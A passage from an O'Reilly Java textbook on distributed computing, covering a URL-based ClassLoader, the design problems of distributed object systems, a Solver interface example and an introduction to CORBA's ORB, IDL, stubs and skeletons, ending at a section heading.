import java.io.*;
import java.util.Hashtable;

public abstract class StreamClassLoader extends ClassLoader
{
  // Instance variables and default initializations
  Hashtable classCache = new Hashtable();
  InputStream source = null;

  // Constructor
  public StreamClassLoader()
  { }

  // Parse a class name from a class locator (URL, filename, etc.)
  protected abstract String  parseClassName(String classLoc)
    throws ClassNotFoundException;

  // Initialize the input stream from a class locator
  protected abstract void    initStream(String classLoc)
    throws IOException;

  // Read a class from the input stream
  protected abstract Class   readClass(String classLoc, String className)
    throws IOException, ClassNotFoundException;

  // Implement the ClassLoader loadClass() method.
  // First argument is now interpreted as a class locator, rather than
  // simply a class name.
  public Class loadClass(String classLoc, boolean resolve)
    throws ClassNotFoundException
    {
      String className = parseClassName(classLoc);
      Class c = (Class)classCache.get(className);

      // If class is not in cache...
      if (c == null)
        {
          // ...try initializing our stream to its location
          try { initStream(classLoc); }
          catch (IOException e)
            {
              throw new ClassNotFoundException(
                          "Failed opening stream to URL.");
            }

          // Read the class from the input stream
          try { c = readClass(classLoc, className); }
          catch (IOException e)
            {
              throw new ClassNotFoundException(
                          "Failed reading class from stream: " + e);
            }
        }

      // Add the new class to the cache for the next reference.
      // Note that we cache based on the class name, not locator.
      classCache.put(className, c);

      // Resolve the class, if requested.
      if (resolve)
        resolveClass(c);

      return c;
    }
}

The abstract StreamClassLoader class provides a generic interface for implementing and using stream-based class loaders. It accomplishes this in part by changing the semantics of the string argument to the loadClass() method on ClassLoader. Whereas ClassLoader defines this argument as the name of the class being sought, the StreamClassLoader broadens the definition to include class "locators" in general. A class locator may be a URL, a host/port/filename combination, or some other means for addressing a class located on the network, or anywhere else accessible via an input stream. Subclasses of StreamClassLoader must define the class locator format they expect, by implementing the parseClassName() method.

The other element of the StreamClassLoader framework is an implementation of loadClass() which allows subclasses to initialize and read their input streams to bring the requested class into the local environment. If the class locator string is successfully parsed by parseClassName(), then the StreamClassLoader calls initStream(), passing the class locator. This method should attempt to initialize the stream to the class specified by the locator. If successful, the StreamClassLoader next calls its readClass() method, passing the class locator and class name. This returns the newly constructed Class object, which is then optionally resolved and returned to the caller.

To demonstrate a practical extension of the StreamClassLoader, Example 2-10 shows a URLClassLoader, which loads classes that are located at URLs on HTTP servers. In this case, a class locator is expected to be in the form of a valid URL. The URLClassLoader utilizes the URL and URLConnection classes to implement the parseClassName(), initStream(), and readClass() methods, as you might expect.

Example 2-10. A URL-based ClassLoader

package dcj.util;

import java.lang.*;
import java.net.*;
import java.io.*;
import java.util.Hashtable;

public class URLClassLoader extends StreamClassLoader
{
  URL classURL = null;
  InputStream classStream = null;

  protected String parseClassName(String classLoc)
    throws ClassNotFoundException
  {
    String className = null;

    // Try constructing a URL around the class locator
    try { classURL = new URL(classLoc); }
    catch (MalformedURLException e)
      {
        throw new ClassNotFoundException("Bad URL \"" + classLoc +
                                         "\" given: " + e);
      }

    System.out.println("File = " + classURL.getFile());
    System.out.println("Host = " + classURL.getHost());

    // Get the file name from the URL
    String filename = classURL.getFile();

    // Make sure we're referencing a class file, then parse the class name
    if (! filename.endsWith(".class"))
      throw new ClassNotFoundException("Non-class URL given.");
    else
      className = filename.substring(0, filename.lastIndexOf(".class"));

    System.out.println("Classname = " + className);

    return className;
  }

  protected void initStream(String classLoc) throws IOException
  {
    // Ask the URL to open a stream to the class object
    classStream = classURL.openStream();
  }

  protected Class readClass(String classLoc, String className)
       throws IOException, ClassNotFoundException
  {
    // See how large the class file is...
    URLConnection conn = classURL.openConnection();
    int classSize = conn.getContentLength();
    System.out.println("Class file is " + classSize + " bytes.");

    // Read the class bytecodes from the stream
    DataInputStream dataIn = new DataInputStream(classStream);
    int avail = dataIn.available();
    System.out.println("Available = " + avail);
    System.out.println("URLClassLoader: Reading class from stream...");
    byte[] classData = new byte[classSize];
    dataIn.readFully(classData);

    // Parse the class definition from the bytecodes
    Class c = null;
    System.out.println("URLClassLoader: Defining class...");
    try { c = defineClass(classData, 0, classData.length); }
    catch (ClassFormatError e)
      {
        throw new ClassNotFoundException(
          "Format error found in class data.");
      }

    return c;
  }
}

The parseClassName() implementation attempts to construct a URL object from the class locator. If an exception is raised, then an invalid URL has been passed in, and a ClassNotFoundException is thrown by the method. If the URL is successfully constructed, it is queried for the file name portion of the URL. The file suffix is checked to ensure that a ".class" file is being referenced, then the base of the file name is returned as the class name. The initStream() implementation simply calls openStream() on the URL object constructed from the class locator. If an IOException results, it is allowed to propagate up the call stack to loadClass(), which assumes that the class file addressed by the URL is inaccessible, and throws a ClassNotFoundException. Finally, the readClass() method reads the class bytecodes into a buffer by calling readFully() on the InputStream from the URL. An IOException will be allowed to propagate up to loadClass(), which throws a ClassNotFound-Exception. After successfully reading the bytecodes, readClass() next calls defineClass() to parse the class definition into a Class object, which is returned to the caller. If defineClass() generates a ClassFormatError, then a ClassNotFoundException is thrown, which loadClass() allows to propagate to the caller. Although catching an error, as opposed to an exception, goes against Java design doctrine, in this particular situation it may be a useful thing to do. Notice, however, that we've chosen to "convert" the error into a ClassNotFoundException. By doing this, we're saying that a format error in the loaded class should be considered as a missing class in the next level up the call stack.

We could implement other subclasses of the StreamClassLoader that use other network protocols to import Java bytecodes into the local runtime. This, however, is left as an exercise for the reader.[4] We should note here that a Java-enabled browser uses something like our URLClassLoader to load classes for applets referenced in Web pages. A relative or absolute URL referring to a main applet class is passed to a network class loader, which does something along the lines of what happens in our readClass() method.

[4]: )

Previous | Home | Next
2.2. URLs, URLConnections, and ContentHandlers | Book Index | 3. Distributing Objects
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Distributing Objects (Java Distributed Computing)

 Java Distributed Computing Search this book

Chapter 3. Distributing Objects

Contents:

Why Distribute Objects?
What's So Tough About Distributing Objects?
Features of Distributed Object Systems
Distributed Object Schemes for Java
CORBA
Java RMI
RMI vs. CORBA

Distributed objects are a potentially powerful tool that has only become broadly available for developers at large in the past few years. The power of distributing objects is not in the fact that a bunch of objects are scattered across the network. The power lies in that any agent in your system can directly interact with an object that "lives" on a remote host. Distributed objects, if they're done right, really give you a tool for opening up your distributed system's resources across the board. And with a good distributed object scheme you can do this as precisely or as broadly as you'd like.

The first three sections of this chapter go over the motivations for distributing objects, what makes distributed object systems so useful, and what makes up a "good" distributed object system. Readers who are already familiar with basic distributed object issues can skip these sections and go on to the following sections, where we discuss two major distributed object protocols that are available in the Java environment: CORBA and RMI.

Although this chapter will cover the use of both RMI and CORBA for distributing objects, the rest of the book primarily uses examples that are based on RMI, where distributed objects are needed. We chose to do this because RMI is a simpler API and lets us write relatively simple examples that still demonstrate useful concepts, without getting bogged down in CORBA API specifics. Some of the examples, if converted to be used in production environments, might be better off implemented in CORBA.

3.1. Why Distribute Objects?

In Chapter 1, "Introduction", we discussed some of the optimal data/function partitioning capabilities that you'd like to have available when developing distributed applications. These included being able to distribute data/function "modules" freely and transparently, and have these modules be defined based on application structure rather than network distribution influences. Distributed object systems try to address these issues by letting developers take their programming objects and have them "run" on a remote host rather than the local host. The goal of most distributed object systems is to let any object reside anywhere on the network, and allow an application to interact with these objects exactly the same way as they do with a local object. Additional features found in some distributed object schemes are the ability to construct an object on one host and transmit it to another host, and the ability for an agent on one host to create a new object on another host.

The value of distributed objects is more obvious in larger, more complicated applications than in smaller, simpler ones. That's because much of the trade-off between distributed objects and other techniques, like message passing, is between simplicity and robustness. In a smaller application with just a few object types and critical operations, it's not difficult to put together a catalog of simple messages that would let remote agents perform all of their critical operation through on-line transactions. With a larger application, this catalog of messages gets complicated and difficult to maintain. It's also more difficult to extend a large message-passing system if new objects and operations are added. So being able to distribute the objects in our system directly saves us a lot of design overhead, and makes a large distributed system easier to maintain in the long run.

Previous | Home | Next
2.3. The ClassLoader | Book Index | 3.2. What's So Tough About Distributing Objects?
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


What's So Tough About Distributing Objects? (Java Distributed Computing)

 Java Distributed Computing Search this book

3.2. What's So Tough About Distributing Objects?

OK, so we think distributing objects is a good idea, but why do distributed object systems like CORBA and, to a lesser degree, Java RMI, seem so big and complicated? In Chapter 2, "Networking in Java" we saw how the core Java API, especially the java.net and java.io packages, gives us easy access to the network and key network protocols. They also let us layer application-specific operations on top of the network pretty easily. It seems like all that we'd need to do is extend these packages to allow objects to invoke each other's methods over the network, and we'd have a basic distributed object system. To get a feeling for the complexity of distributed object systems, let's look at what it would take to put together one of our own using just the core Java API, without utilizing the RMI package or the object input/output streams in the java.io package.

3.2.1. Creating Remote Objects

The essential requirements in a distributed object system are the ability to create or invoke objects on a remote host or process, and interact with them as if they were objects within our own process. It seems logical that we would need some kind of message protocol for sending requests to remote agents to create new objects, to invoke methods on these objects, and to delete the objects when we're done with them. As we saw in Chapter 2, "Networking in Java", the networking support in the Java API makes it very easy to implement a message protocol. But what kinds of things does a message protocol have to do if it's supporting a distributed object system?

To create a remote object, we need to reference a class, provide constructor arguments for the class, and receive a reference to the created object in return. This object reference will be used to invoke methods on the object, and eventually to ask the remote agent to destroy the object when we are done with it. So the data we will need to send over the network include class references, object references, method references, and method arguments.

The first item is easy--we already saw in Chapter 2, "Networking in Java" how the ClassLoader can be used to send class definitions over the network. If we want to create a new remote object from a given class, we can send the class definition to the remote host, and tell it to build one using a default constructor. Object references require some thought, though. These are not the same as local Java object references. We need to have an object reference that we can package up and send over the network, i.e., one that's serializable. This object reference, once we receive it, will still need to refer back to the original object on the remote host, so that when we call methods on it the method invocations are deferred to the "source" object on the remote host. One simple way to implement remote object references is to build an object lookup table into the remote agent. When a client requests a new object, the remote agent builds the requested object, puts the object into the table, and sends the table index of the object to the client. If we use sockets and streams to send requests and object references back and forth between remote agents, a client might request a remote object with something like this:

Class myClass = Class.forName("Myclass");
Socket objConn = new Socket("object.server.net", 1234);
OutputStreamWriter out =
    new ObjectStreamWriter(objConn.getOutputStream());
DataInputStream in = new DataInputStream(objConn.getInputStream());

out.write("new " + myClass.getName());
int objRef = in.readInt();

The integer objRef returned by the remote server can be used to reference the new remote object. On the other end of the socket, the agent receiving the request for the remote object may handle the request like this:

Hashtable objTable = new Hashtable();
ServerSocket server = ...;
Socket conn;
// Accept the connection from the client
if ((conn = server.accept()) != null) {
    DataOutputStream out =
        new DataObjectStream(conn.getOutputStream());
    BufferedReader in = new BufferedReader(
        new InputStreamReader(conn.getInputStream()));
    String cmd = in.readLine();
    // Parse the command type from the command string
    if (parseCmd(cmd).compareTo("new") == 0) {
        // The client wants a new object created,
        // so parse the class name from the command string
        String classname = parseClass(cmd);
        // Create the Class object and make an instance
        Class reqClass = Class.forName(classname);
        Object obj = reqClass.newInstance();
        // Register the object and return the integer
        // identifier/reference to the client
        Integer objID = nextID();
        objTable.put(objID, obj);
        out.writeInt(objID.intValue());
    }
}

The object server reads the class name sent by the requestor, looks up the class using the static Class.forName() method, and creates a new instance of the class by calling the newInstance() method on the Class object. Once the object has been created, the server generates a unique identifier for the object and sends it back to the requestor. Note that we've already limited our remote object scheme, by forcing the use of default constructors, e.g., those with no arguments. The remote host creates the requested object by calling newInstance() on its class, which is equivalent to creating the object by calling the class constructor with no arguments. Since we don't (yet) have a way to specify methods on classes over the network, or a way to send arguments to these methods, we have to live with this limitation for now.

3.2.2. Remote Method Calls

Now that the requestor has a reference to an object on the remote host, it needs a way to invoke methods on the object. Since Java, as of JDK 1.1, allows us to query a class or object for its declared methods and data members, the local agent can get a direct reference to the method that it wants to invoke on the remote object, in the form of a Method object:

Class reqClass = Class.forName("Myclass");
Method reqMethod = reqClass.getDeclaredMethod("getName", null);

In this example, the local agent has retrieved a reference to a getName() method, with no arguments, on the class Myclass. It could now use this method reference to call the method on a local Myclass instance:

Myclass obj = new Myclass();
reqMethod.invoke(obj, null);

This may seem like a roundabout way to accomplish the same thing as calling obj.getName() on the Myclass object, and it is. But in order to call a method on our remote object, we need to send a reference to the method over the network to the remote host. One way to do this is to assign identifiers to all of the methods on the class, just like we did for remote objects. Since both the object requestor and the object server can get a list of the class's methods by calling the getDeclaredMethods() method on the class, we could simply use the index of the method in the returned list as its identifier. Then the object requestor can call a method on a remote object by simply sending the remote host the object's identifier, and the identifier for the method to call. Assuming that our local agent has the same object reference from the earlier example, the remote method call would look something like this:

Method reqMethod = reqClass.getDeclaredMethod("getName", null);
Method[] methodList = reqClass.getDeclaredMethods();
int methodIdx = 0;
for (int i = 0; i < methodList.length; i++) {
    if (reqMethod == methodList[i]) {
        methodIdx = i;
        break;
    }
}
String cmd = "call " + methodIdx + " on " + objRef;
out.writeUTF(cmd);

This approach to handling remote method invocation is a general one; it will work for any class that we want to distribute. So far so good. But what about the arguments to the remote methods? And what about the return value from the remote method? Our example used a getName() method with no arguments, but if the method does take arguments, we'll need to send these to the remote host as well. We can also assume that a method called "getName" will probably return some kind of String value, which we'll need to get back from the remote host. This same problem exists in the creation of the remote object. With our method reference scheme we can now specify which constructor to use when the remote host creates our object, but we still need a way to send the constructor arguments to the remote host.

By now this exercise is beginning to look a lot more serious than we might have expected. In distributed object systems, the task of packaging up method arguments for delivery to the remote object, and the task of gathering up method return values for the client, are referred to as data marshaling. One approach we can take to data marshaling is to turn every object argument in a remote method call into a remote object just like we did previously, by generating an object reference and sending that to the remote agent as the method argument. If the method returns an object value, then the remote host can generate a new object reference and send that back to the local host. So now the remote host and the local host are acting as both object servers and object requestors. We started out with the remote host creating objects for the local host to invoke methods on, but now the local host is "serving" objects for method arguments, and the remote host is serving a bunch of new objects for method return values. And if the remote host needs to call any methods on objects that are arguments to other methods, or if the local host needs to call methods on object return values, then we'll need to send method references back and forth for these remote method calls as well.

To further complicate matters, we also have to worry about situations where you don't want a remote object reference sent as the method argument. In some cases, you may want to send objects by copy rather than by reference. In other words, you may just need to send the value of the object from one host to another, and not want changes to an object propagated back to the original source object. How do we serialize and transmit an object's value to a remote agent? One way is to tell the other agent to create a new object of the right type, as we did to create our original remote object, and then indicate the new object as the method argument or return value.

3.2.3. Other Issues

Our hypothetical remote object scheme, using object tables, integer object references based on table location, and integer method references based on the method's index/position in the class definition, is a bit ad-hoc and not very elegant. It will work, but probably not very well. For one thing, it is not very scalable in terms of development complexity and runtime complexity. Each agent on the network is maintaining its own object table and its own set of object identifiers. Each remote method call could potentially generate more entries in the object tables on both ends of the call, for method arguments and for method return values. And since there's no guarantee that two agents won't use the same identifier for two different objects, each agent using remote objects will need to keep its own table of remote object identifiers and the agent they came from. So now each agent has to maintain two object reference tables: one for objects that it is serving to other agents, and another for objects that it is using remotely. A more elegant way to handle this would be to create a naming service for objects, where an agent serving an object could register its objects with the naming service and generate a unique name/address for the object. The naming service would be responsible for mapping named objects to where they actually live. Users of the object could then find the object with one name, rather than a combination of an object ID and the object's host.

Another issue with this remote object scheme is the distribution of workload across the distributed system. In returning an object by value as the result of a method call, for example, the object server instructs the client to create the returned object value. The creation of this object could be a significant effort, depending on the type of object. Under normal, non-distributed conditions the creation of the return value is considered a part of the overhead of calling the method. You would hope that when you invoke this method remotely, all of the overhead, including the creation of the return value, would be off-loaded to the remote host. Instead, we're pushing some of the work to the remote host and keeping some locally. The same issue comes up when an agent invokes a remote method and passes method arguments by value instead of by reference. The calling agent tells the serving agent to create the method argument values on its side, which increases the net overhead on the server side for the remote method call.

Hopefully this extended thought experiment has highlighted some of the serious issues that arise when trying to distribute objects over the network. In the next section, we'll look at the features that a distributed object system needs to have in order to address these issues.

Previous | Home | Next
3.1. Why Distribute Objects? | Book Index | 3.3. Features of Distributed Object Systems
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Features of Distributed Object Systems (Java Distributed Computing)

 Java Distributed Computing Search this book

3.3. Features of Distributed Object Systems

From our exercise in the previous section, we uncovered some of the features that distributed object systems need. These features, plus some others, are illustrated in Figure 3-1. An object interface specification is used to generate a server implementation of a class of objects, an interface between the object implementation and the object manager, sometimes called an object skeleton, and a client interface for the class of objects, sometimes called an object stub. The skeleton will be used by the server to create new instances of the class of objects and to route remote method calls to the object implementation. The stub will be used by the client to route transactions (method invocations, mostly) to the object on the server. On the server side, the class implementation is passed through a registration service, which registers the new class with a naming service and an object manager, and then stores the class in the server's storage for object skeletons.

Figure 3-1. General architecture for distributed object systems

With an object fully registered with a server, the client can now request an instance of the class through the naming service. The runtime transactions involved in requesting and using a remote object are shown in Figure 3-2. The naming service routes the client's request to the server's object manager, which creates and initializes the new object using the stored object skeleton. The new object is stored in the server's object storage area, and an object handle is issued back to the client in the form of an object stub interface. This stub is used by the client to interact with the remote object.

Figure 3-2. Remote object transactions at runtime

While Figure 3-2 illustrates a client-server remote object environment, a remote object scheme can typically be used in a peer-to-peer manner as well. Any agent in the system can act as both a server and a client of remote objects, with each maintaining its own object manager, object skeleton storage, and object instance storage. In some systems the naming service can be shared between distributed agents, while in others each agent maintains its own naming service.

In the following sections we'll look at each element of this general distributed object architecture in more detail.

3.3.1. Object Interface Specification

To provide a truly open system for distributing objects, the distributed object system should allow the client to access objects regardless of their implementation details, like hardware platform and software language. It should also allow the object server to implement an object in whatever way it needs to. Although in this book we are talking about implementing systems in Java, you may have valuable services already implemented in C, C++, or Smalltalk, and these services might be expensive to reimplement in Java. In this situation you'd like the option of wrapping your existing services with object interfaces and using them directly via the remote object system.

Some distributed object systems provide a platform-independent means for specifying object interfaces. These object interface descriptions can be converted into server skeletons, which can be compiled and implemented in whatever form the server requires. The same object interfaces can be used to generate client-side stub interfaces. If we're dealing with a Java-based distributed system, then the server skeletons and client stubs will be generated as Java class definitions, which will then be compiled into bytecodes.

In CORBA, object interfaces are described using a platform-independent language called the Interface Definition Language (IDL). Other similar languages are the Interface Specification Language (ISL) in Xerox's Inter-Language Unification (ILU) system, and the Distributed Component Object Model (DCOM, comprised of COM and an extended version of DCE-RPC) used in Microsoft's DCOM system.

3.3.2. Object Manager

The object manager is really at the heart of the distributed object system, since it manages the object skeletons and object references on an object server. The object manager plays a role similar to that of an Object Request Broker (ORB) in a CORBA system, or the registry service in RMI, both of which will be discussed in more detail shortly. When a client asks for a new object, the object manager locates the skeleton for the class of object requested, creates a new object based on the skeleton, stores the new object in object storage, and sends a reference to the object back to the client. Remote method calls made by the client are routed through the manager to the proper object on the server, and the manager also routes the results back to the client. Finally, when the client is through with the remote object, it can issue a request to the object manager to destroy the object. The manager removes the object from the server's storage and frees up any resources the object is using.

Some distributed object systems support things like dynamic object activation and deactivation, and persistent objects. The object manager typically handles these functions for the object server. In order to support dynamic object activation and deactivation, the object manager needs to have an activation and deactivation method registered for each object implementation it manages. When a client requests activation of a new instance of an interface, for example, the object manager invokes the activation method for the implementation of the interface, which should generate a new instance. A reference to the new instance is returned to the client. A similar process is used for deactivating objects. If an object is set to be persistent, then the object manager needs a method for storing the object's state when it is deactivated, and for restoring it the next time a client asks for the object.

Depending on the architecture of the distributed object system, the object manager might be located on the host serving the objects, or its functions might be distributed between the client and the server, or it might reside completely on a third host, acting as a liaison between the object client and the object server.

3.3.3. Registration/Naming Service

The registration/naming service acts as an intermediary between the object client and the object manager. Once we have defined an interface to an object, an implementation of the interface needs to be registered with the service so that it can be addressed by clients. In order to create and use an object from a remote host, a client needs a naming service so that it can specify things like the type of object it needs, or the name of a particular object if one already exists on the server. The naming service routes these requests to the proper object server. Once the client has an object reference, the naming service might also be used to route method invocations to their targets.

If the object manager also supports dynamic object activation and persistent objects, then the naming service can also be used to support these functions. If a client asks the service to activate a new instance of a given interface, the naming service can route this request to an object server that has an implementation of that interface. And if an object manager has any persistent objects under its control, the naming service can be notified of this so that requests for the object can be routed correctly.

3.3.4. Object Communication Protocol

In order for the client to interact with the remote object, a general protocol for handling remote object requests is needed. This protocol needs to support, at a minimum, a means for transmitting and receiving object references, method references, and data in the form of objects or basic data types. Ideally we don't want the client application to need to know any details about this protocol. It should simply interact with local object interfaces, letting the object distribution scheme take care of communicating with the remote object behind the scenes. This minimizes the impact on the client application source code, and helps you to be flexible about how clients access remote services.

3.3.5. Development Tools

Of course, we'll need to develop, debug, and maintain the object interfaces, as well as the language-specific implementations of these interfaces, which make up our distributed object system. Object interface editors and project managers, language cross-compilers, and symbolic debuggers are essential tools. The fact that we are developing distributed systems imposes further requirements on these tools, since we need a reasonable method to monitor and diagnose object systems spread across the network. Load simulation and testing tools become very handy here as well, to verify that our server and the network can handle the typical request frequencies and types we expect to see at runtime.

3.3.6. Security

As we have already mentioned, any network interactions carry the potential need for security. In the case of distributed object systems, agents making requests of the object broker may need to be authenticated and authorized to access elements of the object repository, and restricted from other areas and objects. Transactions between agents and the remote objects they are invoking may need to be encrypted to prevent eavesdropping. Ideally, the object distribution scheme will include direct support for these operations. For example, the client may want to "tunnel" the object communication protocol through a secure protocol layer, with public key encryption on either end of the transmission.

Previous | Home | Next
3.2. What's So Tough About Distributing Objects? | Book Index | 3.4. Distributed Object Schemes for Java
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Distributed Object Schemes for Java (Java Distributed Computing)

 Java Distributed Computing Search this book

3.4. Distributed Object Schemes for Java

While there are several distributed object schemes that can be used within the Java environment, we'll only cover two that qualify as serious options for developing your distributed applications: CORBA and RMI. Both of them have their advantages and their limitations, which we'll look at in detail in the following sections.

During this discussion, we'll be using an example involving a generic problem solver, which we'll distribute using both CORBA and RMI. We'll show in each case how instances of this class can be used remotely using these various object distribution schemes. A Java interface for the example class, called Solver, is shown in Example 3-1. The Solver acts as a generic compute engine that solves numerical problems. Problems are given to the Solver in the form of ProblemSet objects; the ProblemSet interface is shown in Example 3-2. The ProblemSet holds all of the information describing a problem to be solved by the Solver. The ProblemSet also contains fields for the solution to the problem it represents. In our highly simplified example, we're assuming that any problem is described by a single floating-point number, and the solution is also a single floating-point value.

Example 3-1. A Problem Solver Interface

package dcj.examples;

import java.io.OutputStream;

//
// Solver:
// An interface to a generic solver that operates on ProblemSets
//

public interface Solver
{
  // Solve the current problem set
  public boolean solve();

  // Solve the given problem set
  public boolean solve(ProblemSet s, int numIters);

  // Get/set the current problem set
  public ProblemSet getProblem();
  public void setProblem(ProblemSet s);

  // Get/set the current iteration setting
  public int getInterations();
  public void setIterations(int numIter);

  // Print solution results to the output stream
  public void printResults(OutputStream os);
}

Example 3-2. A Problem Set Class

package dcj.examples;

public class ProblemSet
{
  protected double value = 0.0;
  protected double solution = 0.0;

  public double getValue() { return value; }
  public double getSolution() { return solution; }
  public void setValue(double v) { value = v; }
  public void setSolution(double s) { solution = s; }
}

Our Solver interface represents a pretty simple compute engine, but it has some features meant to highlight the attributes of a distributed object scheme. As we said before, the Solver accepts problems in the form of ProblemSet objects. It also has a single compute parameter, the number of iterations used in solving the problem. Most computational algorithms have parameters that can be used to alter the way a problem is solved: basic iterative methods usually have a maximum number of iterations to run, so we're using that as the only parameter on our simplified Solver.

A Solver has two solve() methods. One has no arguments and causes the Solver to solve the default problem using the default settings. The default problem for the Solver can be set using the setProblem() method, and the default iteration limit can be set using the setIterations() method. You can also get these values using the getProblem() and getIterations() methods on the interface. The other solve() method includes arguments that give the problem to be solved, and the iteration limit to use for solving the problem.

This Solver interface acts as a sort of litmus test for distributed object schemes. It includes methods that accept Object arguments (ProblemSets, specifically), it can maintain its own state (the default problem and default iteration limit), which needs to be kept consistent across method calls from multiple clients, and it includes a method that involves generic I/O. We'll see in the following examples how well both CORBA and RMI support remote implementation of this interface.

Previous | Home | Next
3.3. Features of Distributed Object Systems | Book Index | 3.5. CORBA
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


CORBA (Java Distributed Computing)

 Java Distributed Computing Search this book

3.5. CORBA

CORBA, the Common Object Request Broker Adapter, is a distributed object standard developed by members of the Object Management Group (OMG) and their corporate members and sponsors. The first versions of the CORBA standard were developed long before Java was publicized by Sun (the OMG was formed in 1989, the CORBA 1.1 specification was released in 1991, and the first pre-release versions of Java and the HotJava browser were made public in the 1994-1995 timeframe). CORBA is meant to be a generic framework for building systems involving distributed objects. The framework is meant to be platform- and language-independent, in the sense that client stub interfaces to the objects, and the server implementations of these object interfaces, can be specified in any programming language. The stubs and skeletons for the objects must conform to the specifications of the CORBA standard in order for any CORBA client to access your CORBA objects.

The CORBA framework for distributing objects consists of the following elements:

  • An Object Request Broker (ORB), which provides clients and servers of distributed objects with the means to make and receive requests of each other. ORBs can also provide object services, such as a Naming Service that lets clients look-up objects by name, or Security Services that provide for secure inter-object communications.

  • Methods for specifying the interfaces that objects in the system support. These interfaces specify the operations that can be requested of the object, and any data variables available on the object. CORBA offers two ways to specify object interfaces: an Interface Definition Language (IDL) for static interface definitions, and a Dynamic Invocation Interface (DII), which lets clients access interfaces as first-class objects from an Interface Repository. The DII is analogous in some ways to the Java Reflection API, which was introduced in JDK 1.1.

  • A binary protocol for communication between ORBs, called the Internet Inter-ORB Protocol (IIOP).

An earlier version of the CORBA standard did not include a low-level binary specification for the inter-ORB network protocol. Instead, it described the protocol in terms of more generic features that a "compliant" system had to implement. This turned out to be a stumbling block, since vendors were implementing CORBA object servers that couldn't talk to each other, even though they all followed the "standard." The binary protocol for the IIOP was specified in the 2.0 release of the CORBA standard, which closed this hole in the standard.

3.5.1. The Object Request Broker (ORB)

The Object Request Broker is at the core of the CORBA model for distributed objects. It fills the Object Manager role that we described earlier in the generic description of distributed object systems. Both the client and the server of CORBA objects use an ORB to talk to each other, so instead of a single Object Manager (as described in our generic distributed object system), CORBA has an object manager on both the client and server side of a distributed object. This lets any agent in a CORBA system act as both a client and a server of remote objects.

On the client side of an object request, the ORB is responsible for accepting client requests for a remote object, finding the implementation of the object in the distributed system, accepting a client-side reference to the remote object, routing client method calls through the object reference to the remote object implementation, and accepting any results for the client. On the server side, the ORB lets object servers register new objects. When a client requests an object, the server ORB receives the request from the client ORB, and uses the object's skeleton interface to invoke the object's activation method. The server ORB generates an object reference for the new object, and sends this reference back to the client. The client ORB converts the reference into a language-specific form (a Java stub object, in our case), and the client uses this reference to invoke methods on the remote object. When the client invokes a method on a remote object, the server ORB receives the request and calls the method on the object implementation through its skeleton interface. Any return values are marshaled by the server ORB and sent back to the client ORB, where they are unmarshaled and delivered to the client program. So ORBs really provide the backbone of the CORBA distributed object system.

3.5.2. The Interface Definition Language (IDL)

Distributed objects in a CORBA application are described in the Interface Definition Language (IDL). The IDL provides a platform- and implementation-independent way to define what kinds of operations an object is capable of performing. Example 3-3 shows an IDL interface for a simplified bank account server. The IDL specification indicates that the BankServer object will have three methods: one to verify a PIN number against an account, one to get specifics about an account, and one to process a transaction against an account.

Example 3-3. A Basic IDL Interface

module Examples {
  interface BankServer {
    boolean verifyPIN(in long acctNo, in long pin);
    void getAcctSpecifics(in long acctNo, in string customerName,
                          out double balance, out boolean isChecking);
    boolean processTransaction(in Transaction t, in long acctNo);
  }
}

The IDL language shares a lot of the syntax of C++ in terms of defining interfaces and their methods. Since we're talking about distributed objects, however, IDL forces you to specify additional information about your object's interface, like which method arguments are input-only, output-only, or two-way data transfers. This is done using additional keywords on method arguments, before their type specifications. These keywords are in, out, and inout. In the BankServer interface, the two arguments to the verifyPIN() method are declared as in parameters, since they are only used as input to the method and don't need to be read back when the method returns. The getAcctSpecifics() method has two in parameters and two out parameters. The two out arguments are read back from the server when the method returns as output values. An inout argument is both fed to the method as an input parameter, and read back when the method returns as an output value. When the IDL interface is compiled into a client stub and a server skeleton, the input/output specifiers on method arguments are used to generate the code to marshal and unmarshal the method arguments correctly.

3.5.3. Server Implementations

Once an IDL interface for a distributed object has been written, it can be translated into a client stub and a server skeleton. IDL translators exist for C, C++, Smalltalk, Ada, Java, and other common languages. The stub and skeleton don't have to be compiled into the same programming language--this is a principle feature of the CORBA architecture. The client could be a Java applet, for example, and use a stub in the form of a Java class definition. The server could implement the same object interface in C++ using an object skeleton defined as a C++ class definition.

The first step in creating a server-side implementation of an object is to compile its IDL interface into both a native-language interface ( Java, in our case), and an implementation skeleton. The native interface is simply a mapping of the IDL specification into our implementation language. It acts as the basis for both the server skeleton and the client stub, which will also be specified in the implementation language. The server-side skeleton acts as the base class for implementations of the object interface, and includes CORBA-specific methods that the server ORB can use to map client requests to method calls on the object implementation. You provide an implementation of the object by deriving from the skeleton and writing the implementations for the methods on the object interface. Later we'll see an example of creating a server implementation when we distribute our Solver class using CORBA.

Once you've defined an implementation for the object, you need to register the object implementation with the server ORB and, optionally, with a CORBA Naming Service, so that clients can find the object on the network and get references to it. You create an ORB from within your server process by creating an instance of an ORB interface. In Java, this is done by creating an instance of the org.omg.CORBA.ORB object. The interface to the Naming Service might also be provided in the form of a Java class that you create by requesting a reference to a Naming Service object from the ORB object. Once you have access to the Naming Service interface, you can create an instance of your object implementation and register it. Clients can then connect to your object through their own ORBs and Naming Services, assuming that they know your host name and the name that you used to register the object.[1]

[1]Clients can also access your CORBA objects without knowing this information, if they have obtained an encoded reference to your objects. This topic is beyond the scope of our discussion here, however.

3.5.4. Client Stubs

The client uses a stub to access the data and methods on the remote instance of the object. A stub is generated using an IDL compiler, the same way that the server implementation skeleton was generated. Like the skeleton, the stub contains CORBA-specific methods that the client ORB can use to marshal method arguments to be sent to the server, and to unmarshal return values and output parameters. When a client requests a remote object reference, it's given the reference in the form of an instance of the stub interface.

A client can get a reference to a remote object by creating an ORB that is connected to the remote server hosting the object, and then asking the ORB to find the object on the remote server. The ORB initialization process will typically include arguments that let you specify, as a client, which remote host and port to talk to for remote object transactions. Note that the CORBA standard doesn't include host and port number parameters in the required initialization interface, but several vendors extend the initialization parameters to include these options. Once the ORB has been created, you can use the ORB's Naming Service to ask for a remote object by name. The name would have to match the name used by the server when it registered the object implementation. The client ORB makes a connection to the server ORB and asks for the named object. If it's found, the client ORB creates a reference to the object as an instance of the stub generated from the IDL interface. The client can then call methods on the stub interface, which are routed by the client ORB to the server ORB, where the method calls are executed on the actual server object implementation.

3.5.5. A CORBA Solver

